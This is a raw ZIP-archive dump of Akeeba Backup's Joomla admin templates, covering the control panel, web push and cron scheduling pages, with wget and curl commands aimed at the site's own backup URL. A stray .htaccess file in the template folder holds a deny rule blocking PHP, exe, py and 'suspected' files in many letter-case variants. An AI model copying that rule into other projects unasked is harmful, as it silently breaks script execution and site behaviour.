			<?php endif ?>
		</div>

    </div>
</div>

<div class="modal fade" id="akeeba-changelog" tabindex="-1"
	 aria-labelledby="akeeba-changelog-header" aria-hidden="true"
	 role="dialog">
	<div class="modal-dialog modal-dialog-scrollable modal-dialog-centered modal-lg">
		<div class="modal-content">
			<div class="modal-header">
				<h3 class="modal-title" id="akeeba-changelog-header">
					<?= Text::_('CHANGELOG') ?>
				</h3>
				<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="<?= Text::_('JLIB_HTML_BEHAVIOR_CLOSE') ?>"></button>
			</div>
			<div class="modal-body p-3">
				<?= $this->formattedChangelog ?>
			</div>
		</div>
	</div>
</div>PK     \Sʉ        tmpl/controlpanel/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \-$  $  !  tmpl/controlpanel/icons_basic.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-2">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS') ?>
	</h3>

	<div class="card-body">
		<div class="akeeba-cpanel-container d-flex flex-row flex-wrap align-items-stretch">
			<?php if ($this->permissions['backup']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-success border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Backup">
					<div class="bg-success text-white d-block text-center p-3 h2">
						<span class="fa fa-play"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_BACKUP') ?>
					</span>
				</a>
			<?php endif ?>

			<?php if ($this->permissions['download'] && AKEEBABACKUP_PRO): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-success border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Transfer">
					<div class="bg-success text-white d-block text-center p-3 h2">
						<span class="fa fa-external-link-alt"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_TRANSFER') ?>
					</span>
				</a>
			<?php endif ?>

			<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
			   href="index.php?option=com_akeebabackup&view=Manage">
				<div class="bg-primary text-white d-block text-center p-3 h2">
					<span class="fa fa-list-alt"></span>
				</div>
				<span>
					<?= Text::_('COM_AKEEBABACKUP_BUADMIN') ?>
				</span>
			</a>

			<?php if ($this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Configuration">
					<div class="bg-primary text-white d-block text-center p-3 h2">
						<span class="fa fa-cog"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_CONFIG') ?>
					</span>
				</a>
			<?php endif ?>

			<?php if ($this->permissions['configure']): ?>
				<a class="akeeba-cpanel-button text-center align-self-stretch btn btn-outline-primary border-0" style="width: 10em"
				   href="index.php?option=com_akeebabackup&view=Profiles">
					<div class="bg-primary text-white d-block text-center p-3 h2">
						<span class="fa fa-user-friends"></span>
					</div>
					<span>
						<?= Text::_('COM_AKEEBABACKUP_PROFILES') ?>
					</span>
				</a>
			<?php endif ?>
		</div>
	</div>
</div>
PK     \]      tmpl/controlpanel/webpush.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var $this \Akeeba\Component\AkeebaBackup\Administrator\View\Controlpanel\HtmlView */

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// Protect from unauthorized access
defined('_JEXEC') || die();

// Pass parameters to the JavaScript
$vapidKeys = $this->getModel('push')->getVapidKeys('com_akeebabackup');

if ($vapidKeys === null):
?>
<div class="card mb-2">
	<h3 class="card-header bg-info text-white">
		<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD') ?>
	</h3>
	<div class="card-body">
		<div class="alert alert-warning" id="webPushNotAvailable">
			<h3 class="alert-heading"><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD') ?></h3>
			<p><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY') ?></p>
		</div>
	</div>
</div>
<?php
endif;

$this->getDocument()->addScriptOptions('com_akeebabackup.webPush', [
	'workerUri'         => $this->getDocument()
		->getWebAssetManager()
		->getAsset('script', 'com_akeebabackup.webpush-worker')
		->getUri('true'),
	'subscribeUri'      => Route::_(
		'index.php?option=com_akeebabackup&task=Push.webpushsubscribe',
		false,
		Route::TLS_IGNORE,
		true
	),
	'unsubscribeUri'    => Route::_(
		'index.php?option=com_akeebabackup&task=Push.webpushunsubscribe',
		false,
		Route::TLS_IGNORE,
		true
	),
	'vapidKeys'         => $vapidKeys,
	'subscribeButton'   => '#btnWebPushSubscribe',
	'unsubscribeButton' => '#btnWebPushUnsubscribe',
	'unavailableInfo'   => '#webPushNotAvailable',
]);
// Load the JavaScript
$this->getDocument()->getWebAssetManager()->useScript('com_akeebabackup.webpush');

?>
<div class="card mb-2">
	<h3 class="card-header bg-info text-white">
		<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD') ?>
	</h3>
	<div class="card-body">
		<details id="webPushDetails">
			<summary><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY') ?></summary>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS') ?>
			</p>
		</details>

		<div class="alert alert-warning d-none" id="webPushNotAvailable">
			<h3 class="alert-heading"><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD') ?></h3>
			<p><?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY') ?></p>
		</div>

		<button
			type="button"
			id="btnWebPushSubscribe"
			class="btn btn-primary d-none disabled"
		>
			<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE') ?>
		</button>
		<button
			type="button"
			id="btnWebPushUnsubscribe"
			class="btn btn-danger d-none disabled"
		>
			<?= Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE') ?>
		</button>
	</div>
</div>
PK     \Ӑ      tmpl/schedule/check_legacy.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK') ?>
	</h3>

	<div class="card-body">

		<?php if(!$this->checkinfo->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->checkinfo->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS') ?>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON') ?>
			</p>

			<table class="table table-striped w-100">
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL') ?>
					</td>
					<td>
						<?= $this->escape($this->checkinfo->frontend->path) ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO') ?>
					</td>
				</tr>
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT') ?>
					</td>
				</tr>
			</table>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET') ?>
				<code>
					wget --max-redirect=10000 "<?= $this->escape($this->checkinfo->frontend->path) ?>" -O - 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL') ?>
				<code>
					curl -L --max-redirs 1000 -v "<?= $this->escape($this->checkinfo->frontend->path) ?>" 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT') ?>
			</p>
			<pre style="text-wrap: wrap">
&lt;?php
$curl_handle=curl_init();
curl_setopt($curl_handle, CURLOPT_URL,
  '<?= $this->escape($this->checkinfo->frontend->path) ?>');
curl_setopt($curl_handle,CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($curl_handle,CURLOPT_MAXREDIRS, 10000);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER, 1);
$buffer = curl_exec($curl_handle);
if (version_compare(PHP_VERSION, '8.5.0', 'lt')) curl_close($curl_handle);
if (empty($buffer))
  echo "Sorry, the backup didn't work.";
else
  echo $buffer;
?&gt;
				</pre>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL') ?>
				<code>
					<?= $this->escape($this->checkinfo->frontend->path) ?>
				</code>
			</p>
		<?php endif ?>
	</div>

</div>
PK     \d	  	    tmpl/schedule/upload_cli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON') ?>
	</h3>

	<div class="card-body">
		<?php if (!$this->isConsolePluginEnabled): ?>
			<div class="alert alert-danger">
				<h3 class="alert-header">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY') ?>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?= $this->escape($this->uploadcheck->info->php_path); ?>
					<?= $this->escape($this->uploadcheck->cli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->uploadcheck->info->php_path) ?>
				<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->uploadcheck->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \=ga  a    tmpl/schedule/backup_legacy.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-info">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_INFO') ?>
			</p>
			<p>
				<a class="btn btn-info"
				   href="https://www.akeeba.com/documentation/akeeba-backup-joomla/automating-your-backup.html"
				   target="_blank">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC') ?>
				</a>
			</p>
		</div>

		<?php if(!$this->croninfo->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->croninfo->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS') ?>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON') ?>
			</p>

			<table class="table table-striped w-100">
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL') ?>
					</td>
					<td class="text-break">
						<?= $this->escape($this->croninfo->frontend->path) ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO') ?>
					</td>
				</tr>
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT') ?>
					</td>
				</tr>
			</table>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET') ?>
				<code>
					wget --max-redirect=10000 "<?= $this->escape($this->croninfo->frontend->path) ?>" -O - 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL') ?>
				<code>
					curl -L --max-redirs 1000 -v "<?= $this->escape($this->croninfo->frontend->path) ?>" 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT') ?>
			</p>
			<pre style="text-wrap: wrap">
&lt;?php
$curl_handle=curl_init();
curl_setopt($curl_handle, CURLOPT_URL,
'<?= $this->escape($this->croninfo->frontend->path) ?>');
curl_setopt($curl_handle,CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($curl_handle,CURLOPT_MAXREDIRS, 10000);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER, 1);
$buffer = curl_exec($curl_handle);
if (version_compare(PHP_VERSION, '8.5.0', 'lt')) curl_close($curl_handle);
if (empty($buffer))
  echo "Sorry, the backup didn't work.";
else
  echo $buffer;
?&gt;
				</pre>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL') ?>
				<code>
					<?= $this->escape($this->croninfo->frontend->path) ?>
				</code>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \&      tmpl/schedule/check_altcli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON') ?>
	</h3>

	<div class="card-body">
		<?php if(!$this->checkinfo->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->checkinfo->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?= $this->escape($this->checkinfo->info->php_path); ?>
					<?= $this->escape($this->checkinfo->altcli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->checkinfo->info->php_path) ?>
				<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->checkinfo->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \%  %    tmpl/schedule/upload.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<h2>
    <?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS') ?>
</h2>

<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO') ?>

<?php //  CLI CRON jobs ?>
<?= $this->loadAnyTemplate('schedule/upload_cli') ?>

<?php // Alternate CLI CRON jobs (using legacy front-end) ?>
<?= $this->loadAnyTemplate('schedule/upload_altcli') ?>

<?php // Legacy front-end backup ?>
<?= $this->loadAnyTemplate('schedule/upload_legacy') ?>
PK     \Ew  w    tmpl/schedule/backup_cli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-info">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON_INFO') ?>
			</p>
			<p>
				<a class="btn btn-primary"
						href="https://www.akeeba.com/documentation/akeeba-backup-joomla/native-cron-script.html"
						target="_blank">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC') ?>
				</a>
			</p>
		</div>
		<?php if (!$this->isConsolePluginEnabled): ?>
			<div class="alert alert-danger">
				<h3 class="alert-header">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY') ?>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?php echo $this->escape($this->croninfo->info->php_path); ?>
					<?php echo $this->escape($this->croninfo->cli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->croninfo->info->php_path) ?>
				<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->croninfo->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif; ?>
	</div>
</div>
PK     \ED	  	    tmpl/schedule/backup_altcli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-info">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON_INFO') ?>
			</p>
			<a class="btn btn-primary"
			   href="https://www.akeeba.com/documentation/akeeba-backup-joomla/alternative-cron-script.html"
			   target="_blank">
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC') ?>
			</a>
		</div>

		<?php if(!$this->croninfo->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->croninfo->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?php echo $this->escape($this->croninfo->info->php_path); ?>
					<?php echo $this->escape($this->croninfo->altcli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
